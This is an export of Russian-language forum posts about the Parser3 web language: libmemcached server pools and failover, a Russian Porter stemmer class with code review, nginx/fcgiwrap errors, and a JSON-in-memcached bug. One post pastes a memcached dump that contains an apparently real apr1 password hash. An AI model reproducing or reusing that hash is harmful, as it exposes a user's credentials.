Есть ещё мысль попробовать изменить тип хранения на KETAMA, но пока не разбирался как."
"79283","[code]if (rc != MEMCACHED_SUCCESS)\
   {\
     ptr->server_failure_counter++;\
    \
    /* Failed to connect. schedule next retry */\
    if (ptr->root->retry_timeout && ptr->next_retry || ptr->root->server_failure_limit \
            && ptr->server_failure_counter >= ptr->root->server_failure_limit)\
    {\
      struct timeval next_time;\
\
      if (gettimeofday(&next_time, NULL) == 0)\
        ptr->next_retry= next_time.tv_sec + ptr->root->retry_timeout;\
      \
      // @todo fix this by fixing behavior to no longer make use of\
      // memcached_st\
      if (_is_auto_eject_host(ptr->root))\
      {\
        run_distribution((memcached_st *)ptr->root);\
      }\
    }\
     set_last_disconnected_host(ptr);\
   }\
[/code]"
"79284","МоКо - как с Вами связаться?\
Бросьте Ваши любые координаты мне на мыло, плиз."
"79285","в примерах либмемкешеда есть следующее:\
[code]CREATING A POOL OF SERVERS\
       Creating a pool of Servers:\
\
          const char *config_string= \"--SERVER=host10.example.com --SERVER=host11.example.com --SERVER=host10.example.com\";\
\
          memcached_pool_st* pool= memcached_pool(config_string, strlen(config_string));\
\
          memcached_return_t rc;\
\
          memcached_st *memc= memcached_pool_pop(pool, false, &rc);\
\
          .... do work\
\
          /*\
            Release the memc_ptr that was pulled from the pool\
          */\
          memcached_pool_push(pool, memc);\
\
          /*\
            Destroy the pool.\
[/code]\
\
в парсере же, насколько я понял таких созданий пула нет, может надо заменить \
[code]fm=f_memcached(options_string.cstr(), options_string.length());[/code]\
на какойнить \
[code]\
fp=f_memcached_pool(options_string.cstr(), options_string.length()); \
fm=f_memcached_pool_pop(fp, false, &rc);\
[/code]\
?\
\
// ну и, там, где fp дестроится\
[code]\
 memcached_pool_push(fp, fm);\
 memcached_pool_destroy(fp);\
[/code]"
"79286","http://localhost/cgi-bin/parser3.cgi\
\
Parser/3.4.0 (compiled on i386-pc-win32)\
\
можно ли собрать такой cgi но 3.4.3 версии для локалхоста?"
"79287","Надеюсь, переименовывать файлы exe в cgi вы умеете. :)"
"79290","Просто обновить exe и библиотеки."
"79291","Спасибо все получилось, скачал новый exe с сайта и установил его в z:\\usr\\local\\parser3\\ в все заработало. До этого устанавливал denwer тут z:\\usr\\local\\parser3\\ по умолчанию лежала версия 3.4.0. \
Всем спасибо."
"79292","Это пул коннектов. Актуально разве что в случае модуля apache - чтобы было проще кешировать коннекты. У парсера внутри свои подобные механизмы, использующиеся при работе с SQL например."
"79293","Первый клик - авторы.\
Второй клик - на мой сайт.\
Третий клик - на e-mail внизу. :)"
"79294","Квест пройден. Заголовок письма от меня совпадает с залоговком темы самого первого сообщения данного треда :)\
\
// Просто при ответе на Ваши сообщения отсутствует \"отправить письмо автору сообщения электронной почтой, без добавления в форум\", что несколько сбило :)"
"79295","[quote]комментирование check(\"connect\"... ничего не изменило.[/quote]\
\
Что-то вы не так делаете, исключение должно исчезнуть (и исчезает).\
\
[quote]а вот в библиотеке под тотоже php ситуация с коннектом к неработающему хосту проходит на ура, просто ключи не пишутся и не читаются, вернее на запись выдает false, а при чтении пусто.[/quote]\
\
У меня получается чуть другая ситуация. Есть ощущение, что выбирается один из серверов, и работа идет только с ним. То есть вот такой код:\
\
[code]\
$memcached[^memcached::open[\
        $.server[localhost --server=nosuchserver]\
        $.binary-protocol(true)\
        $.tcp-keepalive(true)\
        $.connect-timeout[5]\
        $.remove-failed-servers[2]\
]]\
\
$key[^math:random(1000)]\
key = $key\
\
^for(i;1;5){\
    ^try{\
        $memcached.$key[v$key]\
        ^break[]\
    }{\
        $errors[$errors Error: $exception.comment^#0A]\
        $exception.handled(true)\
    }\
}\
\
^for(i;1;5){\
    ^try{\
        value: $memcached.$key\
        ^break[]\
    }{\
        $errors[$errors Error: $exception.comment^#0A]\
        $exception.handled(true)\
    }\
}\
\
$errors\
[/code]\
\
С вероятностью 50% либо работает, выдает скажем\
\
key = 936\
value: v936\
\
либо не работает, выдает\
\
 Error: set error: WRITE FAILURE (5)\
 Error: set error: WRITE FAILURE (5)\
 Error: set error: WRITE FAILURE (5)\
 Error: set error: WRITE FAILURE (5)\
 Error: set error: WRITE FAILURE (5)\
 Error: get error: SERVER IS MARKED DEAD (35)\
 Error: get error: SERVER IS MARKED DEAD (35)\
 Error: get error: SERVER IS MARKED DEAD (35)\
 Error: get error: SERVER IS MARKED DEAD (35)\
 Error: get error: SERVER IS MARKED DEAD (35)\
\
То есть если вы хотите, чтобы писалось на все сервера, а читалось с любого из них, то из коробки оно так не умеет. А вот как должен работать remove-failed-servers и почему он не работает в данном случае - это уже боюсь не к парсеру вопрос."
"79296","[quote]Это пул коннектов. Актуально разве что в случае модуля apache - чтобы было проще кешировать коннекты. У парсера внутри свои подобные механизмы, использующиеся при работе с SQL например.[/quote]\
\
я чето подумал что этот механизи используется для исключения неработающих серверов из (не знаю чего) , чтобы к ним за значениями ключей не обращаться."
"79297","[quote]Что-то вы не так делаете, исключение должно исчезнуть (и исчезает).[/quote]\
а я предупреждал :)\
\
[code]У меня получается чуть другая ситуация. Есть ощущение, что выбирается один из серверов, и работа идет только с ним.[/code]\
ну вот гдето в сознании опять всплывает мысль что коннект к либмемкешеду в случае нескольких серверов должна выглядить как [code]memcached_pool(config_string, strlen(config_string));[/code]\
\
[code]remove-failed-servers и[/code] скорее всего и работает только для пула серверов. Сам параметр просто говорит через сколько попыток обращений к серверу пометить его как dead. но в алгоритмах где разместить данные он(сервер) участвует (скорее всего, чтобы были доступны ключи на оставшихся серверах), но ничего туда не пишется и не читается. И новые ключи, если должны быть записаны в этот dead сервер - они просто теряются. (если не включен параметр NUMBER-OF-REPLICAS который якобы указывает сколько копий ключа хранить [такой себе РАЙД :)] )\
\
т.е. есть подозрение что надо сделать ещё один memcached::open например с параметром $.multiservers(true)\
который будет инициализировать fm как\
[code]fp=f_memcached_pool(options_string.cstr(), options_string.length()); \
fm=f_memcached_pool_pop(fp, false, &rc);[/code]\
\
я, конечно, попытался поанализировать где и как в libmemcached используется параметр remove-failed-servers\
но к сожалению ни С ни С++ не знаю :( запутался я там :)"
"79298","Не надо фантазировать. Вот здесь вся тема очень хорошо раскрыта:\
\
http://hoborglabs.com/en/blog/2013/memcached-php\
\
Вот только жаль, что нет удобного метода для изменения опций (чтобы можно было передать такую же строку, как при создании memcached). Поддерживать весь этот набор не очень хочется: http://docs.libmemcached.org/memcached_behavior.html"
"79299","[quote]Есть ощущение, что выбирается один из серверов, и работа идет только с ним.[/quote]\
\
Не вникал раньше, зачем можно было указать несколько серверов. Оказывается это не для failover, а для распределения ключей по нескольким серверам. (в коде выше ключ не меняется в процессе, поэтому и пытается подключиться все время к одному серверу).\
\
Что существенно: даже если эмулировать failover, изменившееся число серверов повлияет на алгоритм распределения ключей и может так случиться, что пропадет один сервер из 10, а из-за другого распределения ключей по хостам окажутся недоступно 50% скешированного..."
"79300","а можно ли действительно ввести ключ $.check(false) при котором неудавшиеся операции записи попросту будут выдавать false а чтения - пусто, а не exception ?\
\
ну вот тоесть чтобы вместо \
[code]^try{\
        $memcached.$key[v$key]\
    }{\
        $errors[$errors Error: $exception.comment^#0A]\
        $exception.handled(true)\
    }\
\
[/code]\
можно было\
[code]^if(! $memcached.$key[v$key]){ чтото }[/code]\
\
а вместо\
[code]\
\
   ^try{\
        value: $memcached.$key\
    }{\
        $errors[$errors Error: $exception.comment^#0A]\
        $exception.handled(true)\
    }\
[/code]\
\
было\
[code] $Val[$memcached.$key] \
^if(!def $Val){ получить другим образом}[/code]\
или\
[code] \
^if(! $Val[$memcached.$key]){ получить другим образом}[/code]"
"79302","ну вобщемто так и думаем.\
\
но хотелось бы отключить проверку \"connect\" в самом парсере директивой, не перекомпилируя его :)"
"79304","вернее работает только если удается подключиться КО ВСЕМ серверам в списке, что не есть хорошо"
"79305","Если в результате каких-либо манипуляций (обновление/переустановка), ваш сервер, при обработке запроса предназначенного для парсера, выдает 502 ошибку, и в логах nginx вы видете такое: upstream prematurely closed FastCGI stdout while reading response header from upstream\
\
[b]То скорее всего у вас произошло дублирование параметров fastcgi_param в основном конфиге и подключаемых файлах наподобие fastcgi_params, которые могли измениться в результате обновления/переустановки.[/b]\
\
При возникновении одинаковых параметров fcgiwrap перестает работать, без указания причин. Будьте внимательны."
"79306","Стеммер Портера для русского языка: отсекает окончания слов, пытается выделить основные словоформы.\
Буду благодарен за дополнения/исправления. В планах сделать кэширование на хэшфайле.\
[code]\
@CLASS\
stemmer\
#by father_gorry for Aktar CMS \
#after http://forum.dklab.ru/php/advises/HeuristicWithoutTheDictionaryExtractionOfARootFromRussianWord.html\
\
@auto[]\
$Stem_Caching(0)\
$Stem_Cache[^hash::create[]]\
$VOWEL[аеиоуыэюя]\
$PERFECTIVEGROUND[^regex::create[((ив|ивши|ившись|ыв|ывши|ывшись)|((?<=[ая])(в|вши|вшись)))^$]]\
$REFLEXIVE[^regex::create[(с[яь])^$]]\
$ADJECTIVE[^regex::create[(ее|ие|ые|ое|ими|ыми|ей|ий|ый|ой|ем|им|ым|ом|его|ого|еых|ую|юю|ая|яя|ою|ею)^$]]\
$PARTICIPLE[^regex::create[((ивш|ывш|ующ)|((?<=[ая])(ем|нн|вш|ющ|щ)))^$]]\
$VERB[^regex::create[((ила|ыла|ена|ейте|уйте|ите|или|ыли|ей|уй|ил|ыл|им|ым|ены|ить|ыть|ишь|ую|ю)|((?<=[ая])(ла|на|ете|йте|ли|й|л|ем|н|ло|но|ет|ют|ны|ть|ешь|нно)))^$]]\
$NOUN[^regex::create[^(а|ев|ов|ие|ье|е|иями|ями|ами|еи|ии|и|ией|ей|ой|ий|й|и|ы|ь|ию|ью|ю|ия|ья|я)^$]]\
$RVRE[^regex::create[^^(.*?[аеиоуыэюя])(.*)^$]]\
$DERIVATIONAL[^regex::create[[^^аеиоуыэюя][аеиоуыэюя]+[^^аеиоуыэюя]+[аеиоуыэюя].*(?<=о)сть?^$]]\
$EREP[^table::create{f	t\
ё	t}]\
\
@s[RV;regex]\
$caller.RV[^RV.match[$regex][]{}]\
$result(^if($RV ne $caller.RV){1;0})\
\
@stem_word[word]\
$word[^word.lower[]]\
$word[^word.replace[$EREP]]\
\
$tmp[^word.match[$RVRE][]{$start[$match.1]$RV[$match.2]}]\
\
^if(!def $RV){\
#	Nothing to stem\
	$result[$word]\
;^actual_stem[$word;$RV;$start]}\
\
@actual_stem[word;RV;start]\
$stem[$word]\
\
^if(!^s[$RV;$PERFECTIVEGROUND]){^s[$RV;$REFLEXIVE]}\
^if(^s[$RV;$ADJECTIVE]){^s[$RV;$PARTICIPLE]}{\
	^if(!^s[$RV;$VERB]){^s[$RV;$NOUN]}\
}\
$RV[^RV.match[и^$][]{}]\
^if(^s[$RV;$DERIVATIONAL]){$RV[^RV.match[ость?^$][]{}]}\
^if(!^s[$RV;^regex::create[ь^$]]){\
	$RV[^RV.match[ейше?][]{}]\
	$RV[^RV.match[нн^$][]{н}]\
}\
$result[${start}$RV]\
[/code]"
"79307","[code]ё	t}][/code] -> [code]ё	е}][/code]"
"79309","В конструкциях вида ^RV.match[ейше?][]{} нн^$][]{н} последние скобки лучше заменить на [].\
\
Сам класс лучше сделать динамическим, чтобы можно было сделать от него наследника и передавать другим классам как стратегию."
"79310","- в @stem_word баг. в одной ветке if используется result, в другой -- нет. в один день он вылезет.\
\
- @s[] мне не нравится. во первых — способом безусловной записи в $caller.RV, а во вторых — тем, что он делает лишнее сравнение когда от него этого не требуется. например:\
[quote]\
^if(!^s[$RV;$PERFECTIVEGROUND]){^s[$RV;$REFLEXIVE]}\
[/quote]\
в condition result нужен, в теле -- нет. поэтому я сделал бы ещё один метод без сравнения и вызывал бы его где надо.\
кстати можно вообще избавиться от сравнения строк (но надо потестировать что быстрее/жрёт меньше памяти): \
[code]@s[RV;regex]\
$result(false)\
$caller.RV[^RV.match[$regex][]{$result(true)}]\
[/code]\
\
- в куче шаблонов можно написать (?:...) вместо (...), т.к. найденные результаты совпадения не используются.\
\
- непонятно, почему некоторые regex-ы не засунуты в regex-объекты. ведь скорее всего обрабатывается не одно слово.\
\
- некоторые regexp-ы я бы изменил, например: \
(ив|ивши|ившись|ыв|ывши|ывшись)\
=>\
([иы]в(?:ши|шись)?)\
хотя такие regexp-ы хуже читаются и поэтому это лучше отложить до окончания отладки."
"79311","- в @stem_word баг. в одной ветке if используется result, в другой -- нет. в один день он вылезет.\
\
Уже вылез-)\
\
- @s[] мне не нравится. во первых — способом безусловной записи в $caller.RV во вторых — тем, что он делает лишнее сравнение когда от него этого не требуется.\
\
Сравнение - почему нет? Удобно дебажить пары словоформ. Про плохость безусловной записи не понял.\
\
\
- в куче шаблонов можно написать (?:...) вместо (...), т.к. найденные результаты совпадения не используются.\
\
Например?"
"79312","> Сравнение - почему нет?\
\
сравнение строк (особенно длинных) -- медленно. причем я привел фрагмент кода, как избавиться от сравнения сохранив тот-же самый функционал.\
\
\
> Про плохость безусловной записи не понял.\
\
большинство людей, глядя на код вызовы метода:\
[code]\
^if(!^s[$RV;$PERFECTIVEGROUND]){^s[$RV;$REFLEXIVE]}\
[/code]\
никогда в жизни даже не подумают о том, что вот эта конструкция в if:\
^s[$RV;$PERFECTIVEGROUND]\
изменит содержимое $RV.\
неочевидно == плохо.\
\
\
> Например?\
\
пожалуй везде, кроме $RVRE[...] :)"
"79313","В конструкциях вида ^RV.match[ейше?][]{} нн^$][]{н} последние скобки лучше заменить на [].\
\
- ^RV.match[нн^$][;н] вообще красиво получилось\
\
Для решения какой задачи вы его используете? \
\
- boolean-поиск записи из истории болезни (на натуральном языке, само собой) в MySQL5-базе фактов (симптомы, назначения и т.д.)"
"79316","это тоже группировка, но без запоминания. т.е. уменьшается расход памяти.\
http://linux.opennet.ru/docs/RUS/perl_regex/index.html\
Ctrl+F \"(?:\""
"79317","не понимаю, как вот это победить:\
покрашенный -> покрашен*\
покрашенность -> пок*"
"79318",">> may not be overwritten with bool\
там неоднозначный метод, он не только вызывается двумя способами, но и пишет в caller. Знаю, что нетривиально, зато лаконично."
"79319","- внес большинство рекомендаций. Спасибо, реально в тему:)\
- кэширование по языку\
- подключение языков через partial\
- работает сразу с фразой\
- динамический вызов - например, если нужна таблица или строка для boolean search\
\
Баги\
- хэшфайл не закрывается уже несколько версий Парсера подряд, стоит заплатка. Когда почините?\
- покрашенность -> пок* , но странность -> странност*\
\
[code]\
@USE\
lib_aktar.p\
\
@CLASS\
stemmer\
#by father_gorry for Aktar CMS \
#after http://forum.dklab.ru/php/advises/HeuristicWithoutTheDictionaryExtractionOfARootFromRussianWord.html\
\
@OPTIONS\
partial\
#easy to add languages by adding partial files with @init_lang and @stem_word_lang\
\
@auto[]\
$noword[^table::create{f	t\
?	 \
.	 \
,	 \
!	 \
:	 \
&	 \
^;	 \
-	 \
^taint[^#0A]	 \
^taint[^#20]	 }]\
$EREP_ru[^table::create{f	t\
ё	е}]\
\
@s[RV;regex] #this not only matches, but replaces caller RV\
$caller.RV[^RV.match[$regex][]{}]\
$result(^if($RV ne $caller.RV){1;0})\
\
@stem[phrase;ln;minlen]\
^if(!def $ln){$ln[ru]}$language[$ln]\
$initial_phrase[$phrase]\
$minlen($minlen)\
\
$prephrase[^ph2tab[$phrase]]\
\
$wache[^hafala:open[/cache/stemmer/$language]]\
$donephrase[^table::create{word}]\
^prephrase.menu{ \
	$w[^cache_word[$prephrase.piece]]\
	^if(^w.length[] >= $minlen){^donephrase.append{$w}}\
} \
$result[^donephrase.menu{$donephrase.word}[ ]]\
\
@ph2tab[phrase]\
$phrase[^apply-taint[optimized-as-is][^phrase.replace[$noword]]]\
$result[^phrase.split[ ;v]]\
\
@new[phrase;ln;minlen]\
$tmp[^stem[$phrase;$ln;$minlen]]\
\
@4MBTS[]\
$result[^donephrase.menu{$donephrase.word*}[ ]]\
\
@cache_word[word]\
$word[^word.lower[]]\
^try{$ccn[EREP_$language]$word[^word.replace[$$ccn]]}{^blad[]}\
^if(^word.length[] <= 3){$result[$word]}{\
^if(def $wache.$word){ \
	$result[$wache.$word]\
}{\
	^if(!$stemmer_initialized){\
		$jInit[init_$language]\
		^self.$jInit[]\
		$stemmer_initialized(1)\
	}\
	$jWord[stem_word_$language]\
	$result[^self.$jWord[$word]]\
	$wache.$word[$result]\
}\
}\
\
@init_ru[]\
$VOWEL[аеиоуыэюя]\
$PERFECTIVEGROUND[^regex::create[((?:ив|ивши|ившись|ыв|ывши|ывшись)|((?<=[ая])(в|вши|вшись)))^$]]\
$REFLEXIVE[^regex::create[(с[яь])^$]]\
$ADJECTIVE[^regex::create[(?:ее|ие|ые|ое|ими|ыми|ей|ий|ый|ой|ем|им|ым|ом|его|ого|еых|ую|юю|ая|яя|ою|ею)^$]]\
$PARTICIPLE[^regex::create[((ивш|ывш|ующ)|((?<=[ая])(ем|нн|вш|ющ|щ)))^$]]\
$VERB[^regex::create[((?:ила|ыла|ена|ейте|уйте|ите|или|ыли|ей|уй|ил|ыл|им|ым|ены|ить|ыть|ишь|ую|ю)|((?<=[ая])(ла|на|ете|йте|ли|й|л|ем|н|ло|но|ет|ют|ны|ть|ешь|нно)))^$]]\
$NOUN[^regex::create[^^(?:а|ев|ов|ие|ье|е|иями|ями|ами|еи|ии|и|ией|ей|ой|ий|й|и|ы|ь|ию|ью|ю|ия|ья|я)^$]]\
$RVRE[^regex::create[^^(.*?[аеиоуыэюя])(.*)^$]]\
$DERIVATIONAL[^regex::create[[^^аеиоуыэюя][аеиоуыэюя]+[^^аеиоуыэюя]+[аеиоуыэюя].*(?<=о)сть?^$]]\
$ADJNOUN[^regex::create[ость?^$]]\
$SOFT[^regex::create[ь^$]]\
$SUPERLATIVE[^regex::create[ейше?]]\
$NN[^regex::create[нн^$]]\
\
@stem_word_ru[word]\
$tmp[^word.match[$RVRE][]{$start[$match.1]$RV[$match.2]}]\
\
^if(!def $RV){\
#	Nothing to stem\
	$result[$word]\
;\
	$result[^actual_stem_ru[$word;$RV;$start]]\
}\
\
@actual_stem_ru[word;RV;start]\
^if(!^s[$RV;$PERFECTIVEGROUND]){^s[$RV;$REFLEXIVE]}\
^if(^s[$RV;$ADJECTIVE]){^s[$RV;$PARTICIPLE]}{\
	^if(!^s[$RV;$VERB]){^s[$RV;$NOUN]}\
}\
\
$RV[^RV.match[и^$][]{}]\
^if(^s[$RV;$DERIVATIONAL]){$RV[^RV.match[$ADJNOUN][]{}]}\
^if(!^s[$RV;$SOFT]){\
	$RV[^RV.match[$SUPERLATIVE][;]]\
	$RV[^RV.match[$NN][;н]]\
}\
$result[${start}$RV]\
\
[/code]"
"79320","- расширение возможностей с помощью partial -- не лучший вариант. работа с классом динамически -- на порядок лучше. при этом, например, извращение с инициализацией просто выносится в @auto класса-потомка и код проверки инициализации НЕ выполняется при каждом вызове @stem\
\
- в PARTICIPLE и REFLEXIVE тоже можно использовать (?:...)\
\
- в чем смысл замены ^taint[^#20] на пробел? ^taint[^#20] -- это пробел и есть.\
\
- ^try{$ccn[EREP_$language]$word[^word.replace[$$ccn]]}{^blad[]} -- это для чего (особенно else)?\
\
- локальные переменные рекомендуется объявлять.\
\
- следующая конструкция читается очень плохо:\
[code]\
^if(^s[$RV;$ADJECTIVE]){^s[$RV;$PARTICIPLE]}{\
	^if(!^s[$RV;$VERB]){^s[$RV;$NOUN]}\
}\
[/code]\
лучше code-if-true и code-if-false записывать на одном уровне:\
[code]\
^if(^s[$RV;$ADJECTIVE]){\
	^s[$RV;$PARTICIPLE]\
}{\
	^if(!^s[$RV;$VERB]){^s[$RV;$NOUN]}\
}\
[/code]\
\
- не везде заменили пустые фигурные скобки при match-замене на квадратные. это чуточку, но быстрее.\
\
- с моей точки зрения изменение метода @s -- это самое главное, что нужно было сделать. заметьте, в некоторых местах доп. вызова @s (где делается лишняя работа) нет и используется in-place match:\
[code]\
^if(^s[$RV;$DERIVATIONAL]){$RV[^RV.match[$ADJNOUN][]{}]}\
[/code]\
\
т.е. надо сделать по аналогии:\
[code]^if(!^s[$RV;$PERFECTIVEGROUND]){^s[$RV;$REFLEXIVE]}[/code]\
=>\
[code]^if(!^s[$RV;$PERFECTIVEGROUND]){$RV[^RV.match[$REFLEXIVE][][]]}[/code]\
\
[quote]хэшфайл не закрывается уже несколько версий Парсера подряд, стоит заплатка. Когда почините?[/quote]\
\
мы ничего про это не знаем :)\
что вы имеете в виду, под \"хэшфайл не закрывается\"?"
"79321","[quote]работа с классом динамически -- на порядок лучше[/quote]\
Да, в этом случае оказалось лучше. Я сначала пугался, что нужно будет делать кривую обертку для прозрачного подключения соотв. класса в зависимости от $user|input.language, но потом понял, что можно таким образом подключать файлы-расширения, а вызов всегда будет выглядеть одинаково. \
Но вылез смысловой косяк: язык надо указывать и при подключении файла, и для кэшера. \
\
[quote]с моей точки зрения изменение метода @s -- это самое главное, что нужно было сделать [/quote]\
ага, в v3 вообще изящно получилось\
[quote]\
что вы имеете в виду, под \"хэшфайл не закрывается\"?[/quote]\
В общем, вот в чем оказалось дело: в руководстве написано, что после .release[] не обязательно снова открывать хэшфайл. А на самом деле - его [b]никогда нельзя[/b] открывать повторно - будет ошибка. Один хэшфайл - одна глобальная переменная, только так.."
"79322","- упростил поведение в плане отглагольных прилагательных, вроде перестало глючить\
\
[code]\
#by father_gorry for Aktar CMS \
#after http://forum.dklab.ru/php/advises/HeuristicWithoutTheDictionaryExtractionOfARootFromRussianWord.html\
#Thanks to Misha v.3 for corrections\
#USAGE\
#^stemmer:stem[$form:word;;3]\
#OR $n[^stemmer::new[$form:word;;3]] ^n.4MBTS[] $n.prephrase $n.donephrase (table)\
\
@USE\
lib_aktar.p\
\
@CLASS\
stemmer_dummy\
\
@auto[]\
$noword[^table::create{f	t\
?	 \
.	 \
,	 \
!	 \
:	 \
&	 \
^;	 \
-	 \
^taint[^#0A]	 }]\
\
\
@as[regex] #this not only matches, but replaces caller RV\
$prev_RV[$caller.RV]\
$caller.RV[^prev_RV.match[$$regex][;]]\
$result(^if($prev_RV ne $caller.RV){1;0})\
#^msg[$regex = $result ${caller.start}$caller.RV]\
\
@stem[phrase;ln;minlen]\
^if(!def $ln){$ln[ru]}$language[$ln]\
$initial_phrase[$phrase]\
$minlen($minlen)\
\
$prephrase[^ph2tab[$phrase]]\
\
#$wache[^hashfile::open[/cache/stemmer/$language]]\
$wache[^hafala:open[/cache/stemmer/$language]]\
$donephrase[^table::create{word}]\
^prephrase.menu{ \
	$w[^cache_word[$prephrase.piece]]\
	^if(^w.length[] >= $minlen){^donephrase.append{$w}}\
} \
#^wache.release[]\
\
$result[^donephrase.menu{$donephrase.word}[ ]]\
\
@ph2tab[phrase]\
$phrase[^apply-taint[optimized-as-is][^phrase.replace[$noword]]]\
$result[^phrase.split[ ;v]]\
\
@new[phrase;ln;minlen][tmp]\
$tmp[^stem[$phrase;$ln;$minlen]]\
\
@4MBTS[]\
$result[^donephrase.menu{$donephrase.word*}[ ]]\
\
@cache_word[word][ccn]\
$word[^prematch[^word.lower[]]]\
\
^if(^word.length[] <= 3){\
	$result[$word]\
}{\
	^if(def $wache.$word && 0){ \
		$result[$wache.$word]\
	}{\
		^if(!$stemmer_initialized){\
			^init[]\
			$stemmer_initialized(1)\
		}\
		$result[^stem_word[$word]]\
		$wache.$word[$result]\
	}\
}\
\
@prematch[w]\
$result[$w]\
\
@init[]\
\
@stem_word[word]\
$result[$word]\
\
########################################################################\
@CLASS\
stemmer\
#for different languages create different files and use them by necessity\
@BASE\
stemmer_dummy\
@auto[]\
$EREP[^table::create{f	t\
ё	е}]\
\
@prematch[word]\
$result[^word.replace[$EREP]]\
\
@new[phrase;ln;minlen][tmp]\
$tmp[^stem[$phrase;$ln;$minlen]]\
\
@init[] не выносить в @auto поскольку большинство запросов будет короче 3 букв и стеммер не нужен\
$VOWEL[аеиоуыэюя]\
$PERFECTIVEGROUND[^regex::create[((?:ив|ивши|ившись|ыв|ывши|ывшись)|((?<=[ая])(?:в|вши|вшись)))^$]]\
$REFLEXIVE[^regex::create[(с[яь])^$]]\
$ADJECTIVE[^regex::create[(?:ее|ие|ые|ое|ими|ыми|ей|ий|ый|ой|ем|им|ым|ом|его|ого|еых|ую|юю|ая|яя|ою|ею)^$]]\
$PARTICIPLE[^regex::create[((?:ивш|ывш|ующ)|((?<=[ая])(?:ем|нн|вш|ющ|щ)))^$]]\
$VERB[^regex::create[((?:ила|ыла|ена|ейте|уйте|ите|или|ыли|ей|уй|ил|ыл|им|ым|ены|ить|ыть|ишь|ую|ю)|((?<=[ая])(ла|на|ете|йте|ли|й|л|ем|н|ло|но|ет|ют|ны|ть|ешь|нно)))^$]]\
$NOUN[^regex::create[(?:а|ев|ов|ие|ье|е|иями|ями|ям|ами|еи|ии|и|ией|ей|ой|ий|й|и|ы|ь|ию|ью|ю|ия|ья|я)^$]]\
#$RVRE[^regex::create[^^(.*[аеиоуыэюя])(.*)^$]]\
#todo: probably must extract only last RE\
$RVRE[^regex::create[^^(.*?[аеиоуыэюя])(.*)^$]]\
#what for this needed???\
#$DERIVATIONAL[^regex::create[[^^аеиоуыэюя][аеиоуыэюя]+[^^аеиоуыэюя]+[аеиоуыэюя].*(?<=о)сть?^$]]\
$DERIVATIONAL[^regex::create[(?:ост|аст|ист)^$]]\
#$ADJNOUN[^regex::create[ость?^$]]\
\
$SOFT[^regex::create[ь^$]]\
$SUPERLATIVE[^regex::create[ейше?]]\
$NN[^regex::create[нн^$]]\
\
@stem_word[word][tmp]\
$tmp[^word.match[$RVRE][]{$start[$match.1]$RV[$match.2]}]\
\
^if(!def $RV){\
	$result[$word]\
;\
	$result[^actual_stem_ru[$word;$RV;$start]]\
}\
\
@actual_stem_ru[word;RV;start]\
^if(!^as[PERFECTIVEGROUND]){^as[REFLEXIVE]}\
^if(^as[ADJECTIVE]){\
	^as[PARTICIPLE]\
}{\
	^if(!^as[VERB]){^as[NOUN]}\
} \
$RV[^RV.match[и^$][;]]\
#see in @init\
#^if(^as[DERIVATIONAL]){^as[ADJNOUN]}\
^as[DERIVATIONAL]\
^if(!^as[SOFT]){\
	^as[SUPERLATIVE]\
	$RV[^RV.match[$NN][;н]]\
}\
$result[${start}$RV]\
[/code]"
"79323","Нельзя ли интеграцию с XSLT включить в какой-нибудь TODO-лист хотя бы на подумать?"
"79324","\"Фича #955: xslt: регистрация парсерного класса на неймспейс\"\
\
Реализацию можно частично взять отсюда:\
http://www.exslt.org/func/elements/function/index.html\
\
Это libexslt/functions.c, где exsltFuncRegisterImportFunc регистрирует на любое имя функцию exsltFuncFunctionFunction.\
И далее exsltFuncFunctionFunction, которая из контекста достает имя вызванной функции и далее уже проверяет параметры/etc.\
\
У нас же будет что-нибудь типа ^xdoc:register[prefix;$CLASS], который пробежится по всем методам и зарегистрирует их все с запоминанием контекста. Надеюсь, что у них все что нам требуется, доступно и не private."
"79328","при попытке запустить парсер 3 на дебиане вот у этого провайдера http://dreamhost.com получаю такое сообщение:\
\
/index.html' stat failed: Value too large for defined data type (75), actual filename '/index.html' [file.missing]\
\
как забороть? )"
"79329","Какая точно версия OS (включая битность)?\
Какой точно парсер стоит?"
"79331","там стоит Debian 6.0\
парсер: parser3_4_3_debian6.tar.gz (29.10.2013  2,1 МБ)\
про битность пока жду ответа"
"79332","сорри опять я скопировал ссылки с прицепленным вирусом (\
если есть возможност отредактировать текст -- буду призантелен админам"
"79333","Если обратиться к парсеру по адресу /cgi-bin/parser3.cgi, он выдает ответ? В целом инструкции здесь: http://www.parser.ru/forum/?id=79159 достаточно универсальны."
"79334","ага, этот текст выскакивает при обращении к скрипту напрямую \
\
система 64-бита"
"79335","всё заработало\
топик можно оставить только как подтверждение, что на на этом хостере всё ок )"
"79336","я на дримхосте который год сам собираю парсер."
"79337","Пример банальный:\
\
\
\
[code]\
@main[]\
$env:PARSER_VERSION\
$t[^file:list[/test343/;\
        $.stat(true)\
        $.filter[\\.html^$]\
]][/code]\
\
parser: 3.4.3 (compiled on i386-pc-win32)\
ругань только на $.filter[].\
\
Upd. Еще вопрос про формат cdate, mdate в случае stat - может лучше чтобы туда попадал sql-string формат, а не unixtime?"
"79338","достаем данные из БД преобразовываем в json и кладем в memcached\
[code]\
 $UIN[user]\
 $lSQL[SELECT UIN, passwd, ID, UIN FROM UIN_auth WHERE UIN = _utf8'$UIN']\
\
 ^db{$userData[^hash::sql{$lSQL}$.limit(1)]]}\
\
  $str[^json:string[$userData]]\
\
  ^mem_put[auth-$UIN;$str]\
\
[/code]\
\
данные нормально достались и положились в мемкешед:\
\
[quote]# memcat --servers memcached.local auth-user\
\"{\\n\\\"user\\\":{\\n\\\"passwd\\\":\\\"$apr1$E0WSCfmZ$ryIevdy4OikQIh1FL7Kkb1\\\",\\n\\\"ID\\\":\\\"6\\\",\\n\\\"UIN\\\":\\\"user\\\"\\n}\\n}\"\
[/quote]\
\
теперь достаем данные:\
[code]\
	$memData[^mem_get[auth-$UIN]]\
	^log[memcached.GET: auth-$UIN = $memData]\
\
  ^if(def $memData && ^memData.length[] >0){\
	^log[memcached.parse: $memData (^memData.length[])]\
	$userData[^json:parse[$memData;$.double(false)$.distinct[first]$.taint[as-is]]]\
  }\
[/code]\
\
и тут json:parse вылетает в exception: unexpected char at byte 0\
\
 полученные данные из memcached в переменную $memData: \
[quote] \"{\\n\\\"user\\\":{\\n\\\"passwd\\\":\\\"$apr1$E0WSCfmZ$ryIevdy4OikQIh1FL7Kkb1\\\",\\n\\\"ID\\\":\\\"6\\\",\\n\\\"UIN\\\":\\\"user\\\"\\n}\\n}\"\
[/quote]"
"79339","я что тут делают backslash-ы перед кавычками и \\n?"
"79340","не знаю."
"79341","в mem_put зачем-то делал ещё раз json:string"
"79342","classes/file.C\
[code]\
if(Value* value=options->get(\"filter\")) {\
	vfilter=value;\
+	valid_options++;\
}\
